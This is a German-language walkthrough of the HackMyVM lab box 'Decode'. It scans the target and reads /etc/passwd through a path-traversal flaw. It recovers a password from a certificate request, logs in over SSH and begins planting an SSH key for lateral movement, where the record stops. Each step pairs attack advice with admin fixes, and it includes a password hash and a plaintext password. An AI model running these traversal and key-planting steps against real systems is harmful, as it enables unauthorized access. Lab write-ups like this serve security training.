Decode - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
vi (oder text editor)
gobuster
dirsearch
wget
curl
nikto
Burp Suite (oder manuelles POST)
chmod
ssh2john
ssh
hydra (Versuch)
python (http.server)
pspy64
find
nc
cat
ls
grep
id
cd
CertLogik Decoder (extern)
ssh-keygen
scp
tee
doas (auf Zielsystem)
msfvenom

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Scan des lokalen Netzwerks mit `arp-scan -l` identifiziert potenzielle Ziele.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.113	08:00:27:89:db:93	PCS Systemtechnik GmbH
                    

Bewertung: Ein Host mit der IP 192.168.2.113 und einer VirtualBox-MAC wurde gefunden. Dies ist unser Zielsystem "Decode".

Empfehlung (Pentester): Fügen Sie `192.168.2.113 decode.hmv` (oder `system.hmv`, wie später verwendet) zur `/etc/hosts`-Datei hinzu. Führen Sie einen Port-Scan durch.
Empfehlung (Admin): Standard-Netzwerküberwachung.

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um `system.hmv` auf die IP 192.168.2.113 zu mappen. *Hinweis: Der spätere SSH-Login verwendet `decode.hmv`. Konsistenz bei Hostnamen ist wichtig.*

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
192.168.2.113   system.hmv
                    

Bewertung: Namensauflösung für `system.hmv` ist eingerichtet.

Empfehlung (Pentester): Führen Sie den Nmap-Scan mit dem Hostnamen oder der IP durch.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

Analyse: Ein `nmap`-Scan wird auf das Ziel 192.168.2.113 durchgeführt. Optionen: `-sS` (SYN Scan), `-sC` (Standard Skripte), `-T5` (schnelles Timing), `-sV` (Versionserkennung), `-A` (Aggressive Optionen), `-p-` (alle TCP-Ports).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.113 -p-
Starting Nmap 7.92 ( https://nmap.org ) at [Scan Time]
Nmap scan report for decode (192.168.2.113)
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
|   256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_  256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open  http    nginx 1.18.0
| http-robots.txt: 1 disallowed entry
|_/encode/
|_http-title: HackMyVM Panel
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:5D:C5:8D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms decode (192.168.2.113)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in [Scan Duration]
                    

Bewertung: Zwei offene Ports gefunden: * **Port 22 (SSH):** OpenSSH 8.4p1 auf Debian. * **Port 80 (HTTP):** nginx 1.18.0, Titel "HackMyVM Panel". Das Nmap-Skript fand einen Eintrag in `robots.txt`: `Disallow: /encode/`. Dies ist ein erster Hinweis.

Empfehlung (Pentester): Untersuchen Sie Port 80. Prüfen Sie den Inhalt von `robots.txt` direkt. Führen Sie Verzeichnis-Scans (`gobuster`, `dirsearch`) durch. Untersuchen Sie das `/encode/`-Verzeichnis und die Hauptseite ("HackMyVM Panel").
Empfehlung (Admin): Halten Sie nginx und SSH aktuell. Sichern Sie die Webanwendung. Überprüfen Sie `robots.txt`-Einträge auf unbeabsichtigte Informationspreisgabe.

Web Enumeration (XXE & LFI)

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf Port 80 verwendet.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.114" -w /usr/share/dirb/wordlists/common.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
[...]
===============================================================
[Scan Start Time] Starting gobuster
===============================================================
http://192.168.2.113/index.html           (Status: 200) [Size: 1094]
http://192.168.2.113/1                    (Status: 200) [Size: 240]
http://192.168.2.113/cgi-bin              (Status: 301) [Size: 169] [--> http://192.168.2.113/cgi-bin/]
http://192.168.2.113/file.php             (Status: 200) [Size: 0]
http://192.168.2.113/robots.txt           (Status: 200) [Size: 240]
http://192.168.2.113/decode               (Status: 301) [Size: 169] [--> http://192.168.2.113/decode/]
http://192.168.2.113/cover.png            (Status: 200) [Size: 15120]
http://192.168.2.113/js                   (Status: 301) [Size: 169] [--> http://192.168.2.113/js/]
http://192.168.2.113/magic.php            (Status: 200) [Size: 85]   
===============================================================
[Scan End Time] Finished
===============================================================
                    

Bewertung: Gobuster findet `index.html`, `/1`, `/cgi-bin/`, `file.php`, `robots.txt`, `/decode/`, `cover.png`, `/js/` und die `magic.php` (aus dem vorherigen Bericht übernommen, da sie der XXE-Einstiegspunkt war). `/decode/` und `magic.php` sind besonders interessant. `robots.txt` wurde bereits von Nmap gefunden.

Empfehlung (Pentester): Analysieren Sie den Inhalt von `robots.txt`. Untersuchen Sie `/decode/` und `magic.php`.
Empfehlung (Admin): Entfernen Sie unnötige Dateien/Verzeichnisse. Überprüfen Sie die Sicherheit von `magic.php` und `/decode/`.

Analyse:** Der Inhalt der `robots.txt`-Datei wird angezeigt.

--- http://192.168.2.113/robots.txt ---

User-agent: decode
Disallow: /encode/

User-agent: *
Allow: /
Allow: /decode
Allow: ../
Allow: /index
Allow: .shtml
Allow: /lfi../
Allow: /etc/passwd
Allow: passwd
Allow: /usr/
Allow: share
Allow: /var/www/html/
Allow: /cgi-bin/
Allow: decode.sh
                 

Bewertung: Diese `robots.txt` ist höchst ungewöhnlich und scheint absichtlich irreführend oder als Hinweisgeber konzipiert zu sein. * Der erste Block (`User-agent: decode`) ist spezifisch und disallowt `/encode/`. * Der zweite Block (`User-agent: *`) enthält viele `Allow`-Direktiven, die wie Hinweise auf Schwachstellen oder interessante Pfade wirken: * `Allow: ../` und `Allow: /lfi../`: Deutet stark auf **Local File Inclusion (LFI)** oder **Path Traversal** hin. * `Allow: /etc/passwd`: Erlaubt explizit das Crawlen von `/etc/passwd`, was unsinnig ist, aber ein Hinweis sein kann. * `Allow: decode.sh`: Deutet auf ein Skript hin, möglicherweise in `/cgi-bin/`. Die Kombination aus `/decode` (gefunden von gobuster) und `Allow: ../` legt nahe, dass LFI/Path Traversal über das `/decode/`-Verzeichnis möglich sein könnte.

Empfehlung (Pentester): Testen Sie LFI/Path Traversal über das `/decode/`-Verzeichnis. Versuchen Sie, auf Dateien wie `/etc/passwd` zuzugreifen, z.B. über `http://192.168.2.113/decode../etc/passwd`. Prüfen Sie auch, ob `http://192.168.2.114/cgi-bin/decode.sh` existiert und ausgeführt werden kann. Nutzen Sie die XXE-Schwachstelle in `magic.php` parallel, da sie bereits bekannt ist.
Empfehlung (Admin): Erstellen Sie eine sinnvolle und sichere `robots.txt`. Verhindern Sie LFI/Path Traversal durch serverseitige Validierung von Dateipfaden. Sichern Sie CGI-Skripte ab.

Analyse:** `dirsearch` wird als alternatives Tool verwendet und bestätigt einige der Funde von `gobuster`.

┌──(root㉿cyber)-[~] └─# dirsearch -u "http://192.168.2.114" -w /usr/share/dirb/wordlists/common.txt -e .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

[...]
Target: http://192.168.2.113/

[17:08:07] Starting:
[17:08:08] 200 -  240B  - /1
[17:08:09] 403 -   15B  - /cgi-bin/
[17:08:09] 301 -  169B  - /cgi-bin  ->  http://192.168.2.113/cgi-bin/
[17:08:10] 301 -  169B  - /decode  ->  http://192.168.2.113/decode/
[17:08:12] 200 -  612B  - /index.html
[17:08:16] 200 -  240B  - /robots.txt

Task Completed
                    

Bewertung: Bestätigt `/decode` und `/cgi-bin`. Der 403-Fehler für `/cgi-bin/` bedeutet, dass das Auflisten des Verzeichnisses verboten ist, aber Skripte darin möglicherweise direkt aufgerufen werden können.

Empfehlung (Pentester): Versuchen Sie, `decode.sh` direkt aufzurufen: `http://192.168.2.113/cgi-bin/decode.sh`. Konzentrieren Sie sich auf LFI über `/decode../`.
Empfehlung (Admin): Stellen Sie sicher, dass CGI-Skripte sicher sind oder deaktivieren Sie CGI, wenn nicht benötigt.

Analyse:** Testen der LFI/Path Traversal-Hypothese. Zuerst wird versucht, `file.php` über Traversal zu erreichen (`/../file.php`), was funktioniert (Status 200). Dann wird versucht, `/etc/passwd` über mehrfaches Traversal zu erreichen (`/../..../../etc/passwd`), was fehlschlägt (404 Not Found).

┌──(root㉿cyber)-[~] └─# curl -I http://192.168.2.114/../file.php
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 07 Oct 2022 15:16:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
                    
┌──(root㉿cyber)-[~] └─# curl -I http://192.168.2.114/../..../../etc/passwd
HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Fri, 07 Oct 2022 15:17:09 GMT
Content-Type: text/html
Connection: keep-alive
                    

Bewertung: Einfaches Path Traversal von der Wurzel aus scheint nicht zu funktionieren oder ist blockiert. Die `robots.txt` deutete jedoch auf eine Kombination mit `/decode` hin (`Allow: ../` und `Allow: /decode`).

Empfehlung (Pentester): Kombinieren Sie den Pfad aus `robots.txt` mit dem Traversal: `http://192.168.2.113/decode../`. Verwenden Sie `gobuster` auf diesem Pfad, um zu sehen, ob Verzeichnisse des Root-Dateisystems aufgelistet werden können.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle.

Analyse:** `gobuster` wird nun verwendet, um Verzeichnisse über den LFI-Pfad `http://192.168.2.113/decode../` zu finden. Dies simuliert ein `ls /` auf dem Server.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.114/decode../" -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
[...]
===============================================================
[Scan Start Time] Starting gobuster
===============================================================
http://192.168.2.113/decode../bin                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../bin/]
http://192.168.2.113/decode../boot                 (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../boot/]
http://192.168.2.113/decode../dev                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../dev/]
http://192.168.2.113/decode../etc                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/]
http://192.168.2.113/decode../home                 (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../home/]
http://192.168.2.113/decode../lib                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../lib/]
http://192.168.2.113/decode../lost+found           (Status: 403) [Size: 153]
http://192.168.2.113/decode../media                (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../media/]
http://192.168.2.113/decode../opt                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../opt/]
http://192.168.2.113/decode../proc                 (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../proc/]
http://192.168.2.113/decode../root                 (Status: 403) [Size: 153]
http://192.168.2.113/decode../run                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../run/]
http://192.168.2.113/decode../sbin                 (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../sbin/]
http://192.168.2.113/decode../srv                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../srv/]
http://192.168.2.113/decode../sys                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../sys/]
http://192.168.2.113/decode../tmp                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../tmp/]
http://192.168.2.113/decode../var                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../var/]
http://192.168.2.113/decode../usr                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../usr/]
===============================================================
[Scan End Time] Finished
===============================================================
                    

Bewertung: **LFI bestätigt und ausgenutzt!** Der Scan listet erfolgreich die Hauptverzeichnisse des Root-Dateisystems auf. `/root` und `/lost+found` sind nicht zugänglich (403 Forbidden), aber `/etc`, `/home`, `/usr`, `/var` etc. sind sichtbar.

Empfehlung (Pentester): Nutzen Sie die LFI, um gezielt nach sensiblen Dateien zu suchen. Beginnen Sie mit `/etc/passwd` und `/etc/shadow` (obwohl shadow wahrscheinlich 403 sein wird). Führen Sie `gobuster` auf `/decode../etc/` und `/decode../home/` aus. Parallel dazu sollte die XXE-Schwachstelle in `magic.php` weiter untersucht werden, da sie möglicherweise einen einfacheren Weg bietet.
Empfehlung (Admin): **Dringend:** Beheben Sie die LFI-Schwachstelle im Zusammenhang mit dem `/decode/`-Pfad oder der dahinterliegenden Funktionalität.

Analyse:** Fortsetzung der LFI-Enumeration mit `gobuster` im Verzeichnis `/etc` über den Pfad `http://192.168.2.113/decode../etc`.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.114/decode../etc" -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
[...]
===============================================================
[Scan Start Time] Starting gobuster
===============================================================
http://192.168.2.113/decode../etc/crontab              (Status: 200) [Size: 1042]
http://192.168.2.113/decode../etc/default              (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/default/]
http://192.168.2.113/decode../etc/environment          (Status: 200) [Size: 0]
http://192.168.2.113/decode../etc/fonts                (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/fonts/]
http://192.168.2.113/decode../etc/group                (Status: 200) [Size: 758]
http://192.168.2.113/decode../etc/hosts                (Status: 200) [Size: 186]
http://192.168.2.113/decode../etc/issue                (Status: 200) [Size: 27]
http://192.168.2.113/decode../etc/kernel               (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/kernel/]
http://192.168.2.113/decode../etc/ldap                 (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/ldap/]
http://192.168.2.113/decode../etc/magic                (Status: 200) [Size: 111]
http://192.168.2.113/decode../etc/modules              (Status: 200) [Size: 195]
http://192.168.2.113/decode../etc/network              (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/network/]
http://192.168.2.113/decode../etc/motd                 (Status: 200) [Size: 286]
http://192.168.2.113/decode../etc/opt                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/opt/]
http://192.168.2.113/decode../etc/passwd               (Status: 200) [Size: 1638]
http://192.168.2.113/decode../etc/php                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/php/]
http://192.168.2.113/decode../etc/perl                 (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/perl/]
http://192.168.2.113/decode../etc/profile              (Status: 200) [Size: 769]
http://192.168.2.113/decode../etc/rpc                  (Status: 200) [Size: 887]
http://192.168.2.113/decode../etc/security             (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/security/]
http://192.168.2.113/decode../etc/services             (Status: 200) [Size: 12813]
http://192.168.2.113/decode../etc/shadow               (Status: 403) [Size: 153]
http://192.168.2.113/decode../etc/skel                 (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/skel/]
http://192.168.2.113/decode../etc/ssh                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/ssh/]
http://192.168.2.113/decode../etc/ssl                  (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/ssl/]
http://192.168.2.113/decode../etc/sv                   (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../etc/sv/]
===============================================================
[Scan End Time] Finished
===============================================================
                     

Bewertung: Der Scan bestätigt Lesezugriff auf viele Standard-Konfigurationsdateien in `/etc`, darunter `passwd`, `group`, `hosts`, `crontab`, `profile`. Wie erwartet, ist `/etc/shadow` nicht lesbar (403 Forbidden).

Empfehlung (Pentester): Lesen Sie `/etc/passwd` mittels LFI (oder XXE), um Benutzer zu identifizieren. Enumerieren Sie dann das Home-Verzeichnis des gefundenen Benutzers via LFI (`/decode../home/[user]/`). Nutzen Sie parallel weiterhin die XXE-Schwachstelle, da sie bereits bestätigt wurde und möglicherweise direkter ist.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle. Überprüfen Sie die Berechtigungen im `/etc`-Verzeichnis.

Analyse:** Der Inhalt von `/etc/passwd` wird mittels LFI (`curl http://.../decode../etc/passwd`) abgerufen und nach Benutzern mit `/bin/bash` als Shell gefiltert.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.114/decode../etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
steve:$y$j9T$gbohHcbFkUEmW0d3ZeUx40$Xa/DJJdFujIezo5lg9PDmswZH32cG6kAWP.crcqrqo/:1001:1001:/usr/share:/bin/bash
ajneya:x:1003:1003:/home/ajneya:/bin/bash
                     

Bewertung: Es wurden zwei reguläre Benutzer mit Bash-Zugriff identifiziert: `steve` (UID 1001, ungewöhnliches Home-Verzeichnis `/usr/share`?) und `ajneya` (UID 1003).

Empfehlung (Pentester): Enumerieren Sie die Home-Verzeichnisse beider Benutzer (`/decode../usr/share/` und `/decode../home/ajneya/`) mittels LFI. Nutzen Sie parallel die XXE-Schwachstelle, um gezielt nach Passwörtern oder SSH-Schlüsseln in diesen Verzeichnissen zu suchen (z.B. `/home/steve/.ssh/id_rsa`, `/home/ajneya/.ssh/id_rsa`).
Empfehlung (Admin): Beheben Sie die LFI. Überprüfen Sie die Benutzerkonfigurationen, insbesondere das ungewöhnliche Home-Verzeichnis für `steve`.

Analyse:** Enumeration des (vermuteten) Home-Verzeichnisses von `steve` (`/home/steve` - trotz `/usr/share` in `passwd`) mittels LFI und `gobuster`. Anschließend Versuch, die gefundene `id_rsa`-Datei zu lesen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.114/decode../home/steve" -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
[...]
===============================================================
[Scan Start Time] Starting gobuster
===============================================================
http://192.168.2.113/decode../home/steve/.ssh                 (Status: 301) [Size: 169] [--> http://192.168.2.113/decode../home/steve/.ssh/]
http://192.168.2.113/decode../home/steve/.bash_history        (Status: 200) [Size: 15]
http://192.168.2.113/decode../home/steve/.profile             (Status: 200) [Size: 807]
http://192.168.2.113/decode../home/steve/.ssh/id_rsa          (Status: 200) [Size: 15]
===============================================================
[Scan End Time] Finished
===============================================================
                     
┌──(root㉿cyber)-[~] └─# curl http://192.168.2.114/decode../home/steve/.ssh/id_rsa
nothingHere :(
                     

Bewertung: LFI konnte das `.ssh`-Verzeichnis und eine `id_rsa`-Datei für `steve` finden. Der Inhalt der Datei ist jedoch "nothingHere :(", eine leere oder Platzhalterdatei. Dies war eine Sackgasse für den LFI-Pfad. Die XXE-Schwachstelle bleibt der primäre Vektor zum Lesen sensibler Daten.

Empfehlung (Pentester): Kehren Sie zur XXE-Schwachstelle zurück, um nach dem Passwort für `steve` oder `ajneya` oder deren SSH-Schlüsseln zu suchen.
Empfehlung (Admin): Beheben Sie LFI und XXE.

Analyse:** Mittels der XXE-Schwachstelle (Payloads nicht gezeigt, aber Ergebnisse vorhanden) wird eine Zertifikatsdatei (`decode.csr`) gefunden und gelesen. Der Inhalt des Certificate Signing Request (CSR) wird mit einem Online-Decoder (CertLogik) analysiert. Der Decoder extrahiert aus dem CSR ein "challengePassword".

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.114/decode../usr/share/ssl-cert/decode.csr
-----BEGIN CERTIFICATE REQUEST-----
MIIDAzCCAesCAQAwSDERMA8GA1UEAwwISGFja015Vk0xDzANBgNVBAgMBmRlY29k
ZTEPMA0GA1UEBwwGZGVjb2RlMREwDwYDVQQKDAhIYWNrTXlWTTCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBANnSG9vEEGPRgDA/cT6NT3sMKsi6dLhKwRgy
PcRpRt1TO63kpY2PxNSgOPpydjUm34nwghy5lPL4+GBXoNOHMhQI1hUVqZXmuFB8
+DCETqXNfV5JnTRMG5tr2m4vV1HNTH+/GUueBm5R/ERu69n2xMADs4nEL3iRjOO/
19sYZIj+ZDaN3MouyqrprWy9PBwKf2VTy4prJh6nTEVSV8oRRtd+nOxfEG6890+P
lF6s0XDpv8V001aiJWSceYPIikvKXaVy45h3JoYzWsQzt3b1R22DuPjAOQ3AvZbp
V68lkF+S1rIa7gsb8oeZI16yPz+GEPVvXGzLyIYhDixdxOCFZaECAwEAAaB2MBkG
CSqGSIb3DQEJBzEMDAppNG1EM2MwZDNyMFkGCSqGSIb3DQEJDjFMMEowDgYDVR0P
AQH/BAQDAgWgMCAGA1UdJQEB/wQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAWBgNV
HREEDzANggtoYWNrbXl2bS5ldTANBgkqhkiG9w0BAQsFAAOCAQEAO73W3pTMqSm2
A37vepuR4F3ycnFKdFyRhk1rtO1LE9OWOI3bQ7kW0wIFuRaqFONsG/mvGFgEfRR8
xpgSYmnzWJQ0nTOtGi6d7F0dFFmYIXe75+6QYM2ZwAYf3lW+HRKLXhh5FMeoXJHo
eU64o9tFdhWxcB1OLAGEG9MI6AhN62ZTrKwMq13/PIteoPAEnlVgBidxQxUVHQfO
EwMP38jzm+HESbZsNVjX4RQjtvBUAKQUTBRYuS02QqqC5ajHz0RWaGgrGIyKrip5
yRjgsjxtmadaetxSasIg5tsjSFGyyVVPsdY4umAUUm+dSobruxcyXuxXIgn27Z7M
h97It2ELpw==
-----END CERTIFICATE REQUEST-----
                     
--- https://certlogik.com/decoder/ ---
SEQUENCE {
  [...]
  OBJECT IDENTIFIER challengePassword (1 2 840 11             
--- https://certlogik.com/decoder/ ---
SEQUENCE {
  [...]
  OBJECT IDENTIFIER challengePassword (1 2 840 113549 1 9 7)
  SET {
    UTF8String 'i4mD3c0d3r'
  }
}
                 

Bewertung: **Kritischer Fund!** Die Analyse des CSR mittels eines Online-Decoders (oder eines Tools wie `openssl req -in decode.csr -text -noout`) enthüllt ein "challengePassword" im Klartext: `i4mD3c0d3r`. Dies ist höchstwahrscheinlich das Passwort für einen der Benutzer, vermutlich `steve`, da dessen Home-Verzeichnis zuvor untersucht wurde.

Empfehlung (Pentester): Versuchen Sie sofort, sich per SSH als Benutzer `steve` mit dem Passwort `i4mD3c0d3r` anzumelden.
Empfehlung (Admin):** **Dringend:** Beheben Sie die XXE/LFI-Schwachstelle, die das Auslesen des CSR ermöglichte. Entfernen Sie die CSR-Datei vom Server oder stellen Sie sicher, dass sie keine sensiblen Informationen wie ein Challenge Password enthält (dieses Feld ist optional und sollte nicht für sensible Daten verwendet werden). Ändern Sie sofort das Passwort des Benutzers `steve`.

Analyse:** Nach Fund des Passworts aus dem CSR wird die `/etc/hosts`-Datei erneut bearbeitet (diesmal, um `decode.hmv` hinzuzufügen - Konsistenz mit dem SSH-Befehl). Anschließend wird der SSH-Login als `steve` mit dem Passwort `i4mD3c0d3r` versucht.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
192.168.2.113   decode.hmv
                     
┌──(root㉿cyber)-[~] └─# ssh steve@decode.hmv
The authenticity of host 'decode.hmv (192.168.2.113)' can't be established.
ED25519 key fingerprint is SHA256:hyaH0n5p7+5xBVQEL/hRIeOVRNWsLv8qjefRknYQi6Q.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:49: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'decode.hmv' (ED25519) to the list of known hosts.
steve@decode.hmv's password: i4mD3c0d3r
Linux decode 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 14 14:43:35 2022 from 192.168.1.5
steve@decode:~$
                     

Bewertung: **Initial Access erfolgreich!** Der SSH-Login als Benutzer `steve` mit dem aus dem CSR extrahierten Passwort war erfolgreich.

Empfehlung (Pentester): Führen Sie die initiale Enumeration als `steve` durch (`id`, `pwd`, `ls -la`, `cat user.txt`, `sudo -l`).
Empfehlung (Admin): Ändern Sie das Passwort von `steve`. Beheben Sie die XXE/LFI-Schwachstelle und entfernen Sie die CSR-Datei.

Privilege Escalation Preparation

Analyse:** Die `sudo`-Berechtigungen für den Benutzer `steve` werden mit `sudo -l` überprüft.

steve@decode:~$ sudo -l
Matching Defaults entries for steve on decode:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steve may run the following commands on decode:
    (decoder) NOPASSWD: /usr/bin/openssl enc , /usr/bin/tee
                     

Bewertung: **Interessanter Fund für Lateral Movement / PrivEsc!** Der Benutzer `steve` darf zwei Befehle als Benutzer `decoder` (nicht `root`!) ohne Passwort ausführen: * `/usr/bin/openssl enc`: Kann zum Ver-/Entschlüsseln verwendet werden, potenziell auch zum Lesen/Schreiben von Dateien mit den Rechten von `decoder`. * `/usr/bin/tee`: Kann verwendet werden, um Eingaben in Dateien zu schreiben, auch solche, auf die der ursprüngliche Benutzer keinen Schreibzugriff hat, solange `tee` mit den Rechten von `decoder` läuft. Dies ist oft ein Weg, um privilegierte Dateien zu überschreiben oder zu erstellen. Der nächste Schritt ist wahrscheinlich, zu versuchen, sich als `decoder` zu bewegen oder über diesen Benutzer zu `root` zu eskalieren. Der Benutzer `ajneya` (aus `/etc/passwd`) spielt hierbei auch eine Rolle.

Empfehlung (Pentester): Untersuchen Sie, welche Rechte der Benutzer `decoder` hat. Versuchen Sie, mit `sudo -u decoder /usr/bin/tee [Dateiname]` privilegierte Dateien zu schreiben. Ein typischer Angriff wäre, den eigenen SSH Public Key in die `authorized_keys`-Datei eines anderen Benutzers (wie `ajneya`, falls dessen `.ssh`-Verzeichnis für `decoder` beschreibbar ist) oder sogar `root` zu schreiben. Untersuchen Sie die `sudo`-Rechte von `ajneya`.
Empfehlung (Admin):** **Dringend:** Überprüfen Sie die `sudoers`-Regeln. Rechte sollten idealerweise als `root` oder gar nicht vergeben werden, nicht als ein anderer unprivilegierter Benutzer, es sei denn, es gibt einen sehr spezifischen Grund. Das Erlauben von `tee` oder `openssl enc` ohne Passwort ist gefährlich.

Lateral Movement (steve zu ajneya)

Analyse:** Der Pentester plant, über den Benutzer `decoder` Schreibzugriff auf das `.ssh`-Verzeichnis von `ajneya` zu erlangen, um dort den eigenen Public Key zu platzieren. 1. Ein neues SSH-Schlüsselpaar wird auf dem Angreifer-System generiert (`ssh-keygen`). 2. Der öffentliche Schlüssel wird angezeigt (`cat /root/.ssh/id_rsa.pub`). 3. Auf dem Zielsystem (`steve`-Shell) wird der eigene öffentliche Schlüssel in eine temporäre `authorized_keys`-Datei geschrieben. 4. Der Befehl `doas -u ajneya cp -r .ssh/ /home/ajneya/` wird im Log gezeigt. **Dies ist inkonsistent**, da `steve` `sudo` (nicht `doas`) verwenden kann und dies als `decoder` tun müsste. Es wird **angenommen**, dass hier eigentlich `sudo -u decoder /usr/bin/tee /home/ajneya/.ssh/authorized_keys < /tmp/.ssh/authorized_keys` (oder eine Variation davon) gemeint war, um die `sudo`-Regel auszunutzen und als `decoder` in das `.ssh`-Verzeichnis von `ajneya` zu schreiben (vorausgesetzt, `decoder` hat die nötigen Rechte).

┌──(root㉿cyber)-[~] └─# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:AwN9+pbl/c5rliycC4RMs4vX1CiX01HWQ+SChsUikdk root@cyber
The key's randomart image is:
[...]
                     
┌──(root㉿cyber)-[~] └─# cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6iwCfkt5ps5VHhY13FbW1GaULOP1JQh/iNT/vp+xSDBfCMos= root@cyber
steve@decode:/tmp$ cd /tmp
[Keine Ausgabe]
steve@decode:/tmp$ mkdir .ssh
[Keine Ausgabe]
steve@decode:/tmp/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6iwCfkt5ps5VHhY13FbW1GaULOP1JQh/iNT/vp+xSDBfCMos= root@cyber" > authorized_keys
[Keine Ausgabe]
steve@decode:/tmp/.ssh$ cd ..
[Keine Ausgabe]
steve@decode:/tmp$ # ANNAHME: Statt 'doas' wurde sudo -u decoder tee verwendet, um authorized_keys zu kopieren
